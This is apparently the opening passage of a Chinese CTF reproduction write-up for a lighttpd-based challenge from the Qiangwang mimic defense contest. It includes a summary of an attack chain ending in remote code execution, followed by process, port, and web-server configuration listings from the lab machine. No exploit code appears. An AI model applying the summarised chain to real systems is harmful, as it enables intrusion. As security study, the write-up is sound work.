文章总结： 这篇文章详细分析了第八届强网拟态防御国际精英挑战赛中的一个漏洞利用过程，包括通过逆向分析解密管理员密码、发现并利用栈溢出漏洞、通过目录截断获取敏感文件、利用字符逃逸写入共享内存，最终实现远程代码执行获取flag。文章展示了如何将多个微小漏洞组合成完整的攻击链，体现了漏洞利用的复杂性和系统性。
综合评分： 89
文章分类： 漏洞分析,CTF,二进制安全,WEB安全,代码审计

第八届强网拟态防御国际精英挑战赛 – WIN！致敬mt 复现

flyyyy

看雪学苑

2025年11月26日 18:00
上海

拟态比赛的时候时间过于匆忙，并没有很多时间看这道题目，因此赛后进行了复现，这一过程中十分感谢@zikh26师傅和神秘的@Nik Xe大哥给予的帮助。

漏洞分析

基本信息：从启动脚本发现其实只开了一个80端口，我们先启动看一下基本的信息，可以发现80端口由lighttpd监听，启动方式为`/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf`

root@debian-armel:/#&nbsp;ps&nbsp;-ef
UID&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;PID&nbsp;&nbsp;PPID&nbsp;&nbsp;C&nbsp;STIME&nbsp;TTY&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TIME&nbsp;CMD
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1&nbsp; &nbsp; &nbsp;0&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;init&nbsp;[2]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2&nbsp; &nbsp; &nbsp;0&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kthreadd]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;3&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[ksoftirqd/0]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;5&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kworker/u:0]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;6&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[watchdog/0]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;7&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[cpuset]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[khelper]
root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;9&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kdevtmpfs]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;10&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[netns]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;11&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[sync_supers]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;12&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[bdi-default]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;13&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kintegrityd]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;14&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kblockd]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;15&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[khungtaskd]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;16&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kswapd0]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;17&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[ksmd]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;18&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[fsnotify_mark]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;19&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[crypto]
root&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;67&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[scsi_eh_0]
root&nbsp; &nbsp; &nbsp; &nbsp;110&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kworker/u:1]
root&nbsp; &nbsp; &nbsp; &nbsp;127&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[jbd2/sda1-8]
root&nbsp; &nbsp; &nbsp; &nbsp;128&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[ext4-dio-unwrit]
root&nbsp; &nbsp; &nbsp; &nbsp;275&nbsp; &nbsp; &nbsp;1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;udevd&nbsp;--daemon
root&nbsp; &nbsp; &nbsp; &nbsp;313&nbsp; &nbsp;275&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;udevd&nbsp;--daemon
root&nbsp; &nbsp; &nbsp; &nbsp;314&nbsp; &nbsp;275&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;udevd&nbsp;--daemon
root&nbsp; &nbsp; &nbsp; &nbsp;331&nbsp; &nbsp; &nbsp;2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kpsmoused]
root&nbsp; &nbsp; &nbsp;&nbsp;1507 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/sbin/rpcbind&nbsp;-w
statd&nbsp; &nbsp; &nbsp;1538 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/sbin/rpc.statd
root&nbsp; &nbsp; &nbsp;&nbsp;1543 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[rpciod]
root&nbsp; &nbsp; &nbsp;&nbsp;1545 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[nfsiod]
root&nbsp; &nbsp; &nbsp;&nbsp;1552 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/rpc.idmapd
root&nbsp; &nbsp; &nbsp;&nbsp;1706 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;dhclient&nbsp;-v&nbsp;-pf&nbsp;/run/dhclient.eth0.pid&nbsp;-lf&nbsp;/var/lib/dhcp/dhclient.eth0.leases&nbsp;eth0
root&nbsp; &nbsp; &nbsp;&nbsp;1853 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/rsyslogd&nbsp;-c5
daemon&nbsp; &nbsp;&nbsp;1888 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/atd
root&nbsp; &nbsp; &nbsp;&nbsp;1956 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/cron
www-data&nbsp;&nbsp;2226 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:01&nbsp;/usr/sbin/lighttpd&nbsp;-f&nbsp;/etc/lighttpd/lighttpd.conf
101&nbsp; &nbsp; &nbsp; &nbsp;2237 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/exim4&nbsp;-bd&nbsp;-q30m
root&nbsp; &nbsp; &nbsp;&nbsp;2277 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;/usr/sbin/sshd
root&nbsp; &nbsp; &nbsp;&nbsp;2303 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty1&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty1
root&nbsp; &nbsp; &nbsp;&nbsp;2304 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty2&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty2
root&nbsp; &nbsp; &nbsp;&nbsp;2305 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty3&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty3
root&nbsp; &nbsp; &nbsp;&nbsp;2306 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty4&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty4
root&nbsp; &nbsp; &nbsp;&nbsp;2307 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty5&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty5
root&nbsp; &nbsp; &nbsp;&nbsp;2308 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;tty6&nbsp; &nbsp; &nbsp;00:00:00&nbsp;/sbin/getty&nbsp;38400&nbsp;tty6
root&nbsp; &nbsp; &nbsp;&nbsp;2309 &nbsp; &nbsp; 1&nbsp;&nbsp;0&nbsp;Oct27&nbsp;ttyAMA0&nbsp;&nbsp;00:00:00&nbsp;/bin/login&nbsp;--
root&nbsp; &nbsp; &nbsp;&nbsp;2311 &nbsp;2309 &nbsp;0&nbsp;Oct27&nbsp;ttyAMA0&nbsp;&nbsp;00:00:00&nbsp;-bash
root&nbsp; &nbsp; &nbsp;&nbsp;2329 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kworker/0:0]
root&nbsp; &nbsp; &nbsp;&nbsp;2334 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[flush-8:0]
root&nbsp; &nbsp; &nbsp;&nbsp;2379 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;Oct27&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kworker/0:1]
root&nbsp; &nbsp; &nbsp;&nbsp;2417 &nbsp;2277 &nbsp;0&nbsp;02:25&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00 sshd:root@pts/0
root&nbsp; &nbsp; &nbsp;&nbsp;2419 &nbsp;2417 &nbsp;0&nbsp;02:25&nbsp;pts/0&nbsp; &nbsp;&nbsp;00:00:00&nbsp;-bash
root&nbsp; &nbsp; &nbsp;&nbsp;2449 &nbsp; &nbsp; 2&nbsp;&nbsp;0&nbsp;02:26&nbsp;?&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;00:00:00&nbsp;[kworker/0:2]
root&nbsp; &nbsp; &nbsp;&nbsp;2450 &nbsp;2419 &nbsp;0&nbsp;02:26&nbsp;pts/0&nbsp; &nbsp;&nbsp;00:00:00&nbsp;ps&nbsp;-ef
root@debian-armel:/#&nbsp;netstat&nbsp;-nlap
Active&nbsp;Internet&nbsp;connections&nbsp;(servers&nbsp;and&nbsp;established)
Proto&nbsp;Recv-Q&nbsp;Send-Q&nbsp;Local&nbsp;Address&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Foreign&nbsp;Address&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;State&nbsp; &nbsp; &nbsp; &nbsp;PID/Program&nbsp;name
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:42959&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;1538/rpc.statd
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:111&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;1507/rpcbind
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:80&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2226/lighttpd
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:22&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2277/sshd
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;127.0.0.1:25&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2237/exim4
tcp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;10.0.2.15:22&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;10.0.2.2:50541&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;ESTABLISHED&nbsp;2417/0
tcp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::111&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;1507/rpcbind
tcp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::80&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2226/lighttpd
tcp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::22&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2277/sshd
tcp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;::1:25&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;2237/exim4
tcp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::44453&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;LISTEN&nbsp; &nbsp; &nbsp;&nbsp;1538/rpc.statd
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:832&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1507/rpcbind
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:68&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1706/dhclient
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;127.0.0.1:866&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1538/rpc.statd
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:111&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1507/rpcbind
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:39799&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1538/rpc.statd
udp&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;0.0.0.0:8391&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0.0.0.0:*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;1706/dhclient
udp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::6690&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1706/dhclient
udp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::832&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1507/rpcbind
udp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::45389&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1538/rpc.statd
udp6&nbsp; &nbsp; &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp;&nbsp;0&nbsp;:::111&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;:::*&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1507/rpcbind
Active&nbsp;UNIX&nbsp;domain&nbsp;sockets&nbsp;(servers&nbsp;and&nbsp;established)
Proto&nbsp;RefCnt&nbsp;Flags&nbsp; &nbsp; &nbsp; &nbsp;Type&nbsp; &nbsp; &nbsp; &nbsp;State&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;I-Node&nbsp; &nbsp;PID/Program&nbsp;name&nbsp; &nbsp;&nbsp;Path
unix&nbsp;&nbsp;2&nbsp; &nbsp; &nbsp; [&nbsp;ACC&nbsp;] &nbsp; &nbsp;&nbsp;STREAM&nbsp; &nbsp; &nbsp;LISTENING&nbsp; &nbsp; &nbsp;3623 &nbsp; &nbsp; 1507/rpcbind&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;/var/run/rpcbind.sock
unix&nbsp;&nbsp;5&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;4010 &nbsp; &nbsp; 1853/rsyslogd&nbsp; &nbsp; &nbsp; &nbsp;/dev/log
unix&nbsp;&nbsp;2&nbsp; &nbsp; &nbsp; [&nbsp;ACC&nbsp;] &nbsp; &nbsp;&nbsp;SEQPACKET&nbsp;&nbsp;LISTENING&nbsp; &nbsp; &nbsp;2284 &nbsp; &nbsp; 275/udevd&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/run/udev/control
unix&nbsp;&nbsp;2&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;5034 &nbsp; &nbsp; 2417/0
unix&nbsp;&nbsp;2&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;4602 &nbsp; &nbsp; 1706/dhclient
unix&nbsp;&nbsp;2&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;4381 &nbsp; &nbsp; 2309/login
unix&nbsp;&nbsp;3&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;STREAM&nbsp; &nbsp; &nbsp;CONNECTED&nbsp; &nbsp; &nbsp;3741 &nbsp; &nbsp; 1552/rpc.idmapd
unix&nbsp;&nbsp;3&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;STREAM&nbsp; &nbsp; &nbsp;CONNECTED&nbsp; &nbsp; &nbsp;3740 &nbsp; &nbsp; 1552/rpc.idmapd
unix&nbsp;&nbsp;3&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2291 &nbsp; &nbsp; 275/udevd
unix&nbsp;&nbsp;3&nbsp; &nbsp; &nbsp; [ ] &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;DGRAM&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2290 &nbsp; &nbsp; 275/udevd

接着看对应的配置文件，可以看到对应的根目录，从根目录下我们可以找到cgi和部分二进制文件

root@debian-armel:~# cat /etc/lighttpd/lighttpd.conf
server.modules = (
"mod_access",
"mod_alias",
"mod_compress",
"mod_redirect",
# &nbsp; &nbsp; &nbsp; "mod_rewrite",
)

server.document-root &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"/var/www"
server.upload-dirs &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= (&nbsp;"/var/cache/lighttpd/uploads"&nbsp;)
server.errorlog &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"/var/log/lighttpd/error.log"
server.pid-file &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"/var/run/lighttpd.pid"
server.username &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;"www-data"
server.groupname &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"www-data"
server.port &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; =&nbsp;80

index-file.names &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= (&nbsp;"index.php",&nbsp;"index.html",&nbsp;"index.lighttpd.html"&nbsp;)
url.access-deny &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = (&nbsp;"~",&nbsp;".inc"&nbsp;)
static-file.exclude-extensions = (&nbsp;".php",&nbsp;".pl",&nbsp;".fcgi"&nbsp;)

compress.cache-dir &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;=&nbsp;"/var/cache/lighttpd/compress/"
compress.filetype &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = (&nbsp;"application/javascript",&nbsp;"text/css",&nbsp;"text/html",&nbsp;"text/plain"&nbsp;)

